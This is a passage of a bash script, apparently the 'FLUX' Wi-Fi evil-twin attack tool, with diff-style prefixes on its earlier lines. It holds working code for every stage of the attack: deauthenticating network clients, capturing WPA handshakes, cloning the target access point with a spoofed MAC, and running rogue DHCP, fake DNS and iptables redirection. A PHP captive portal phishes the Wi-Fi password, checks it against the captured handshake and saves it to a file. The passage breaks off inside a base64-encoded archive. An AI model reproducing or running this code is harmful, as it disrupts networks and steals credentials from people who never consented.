pyrit" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$green "1)"$transparent" Deauth all" - echo -e " "$green "2)"$transparent" Deauth all [mdk3]" - echo -e " "$green "3)"$transparent" Deauth target " - echo -e " "$green "4)"$transparent" Rescan networks " - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$green "1)"$transparent" Yes" - echo -e " "$green "2)"$transparent" Strike again " - echo -e " "$green "3)"$transparent" No (Select another attack)" - echo -e " "$green "4)"$transparent" Select another network" - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &<$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$green ""1)"$transparent" Web Interface" - echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$green ""1)"$transparent" English [ENG]" - echo -e "$green ""2)"$transparent" Spanish [ESP]" - echo -e "$green ""3)"$transparent" Italy [IT]" - echo -e "$green ""4)"$transparent" French [FR]" - echo -e "$green ""5)"$transparent" Portuguese [POR]" - echo -e "$green ""6)"$transparent" German [GER]" - echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" PUNTO DE ACCESO:\" - echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTES ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 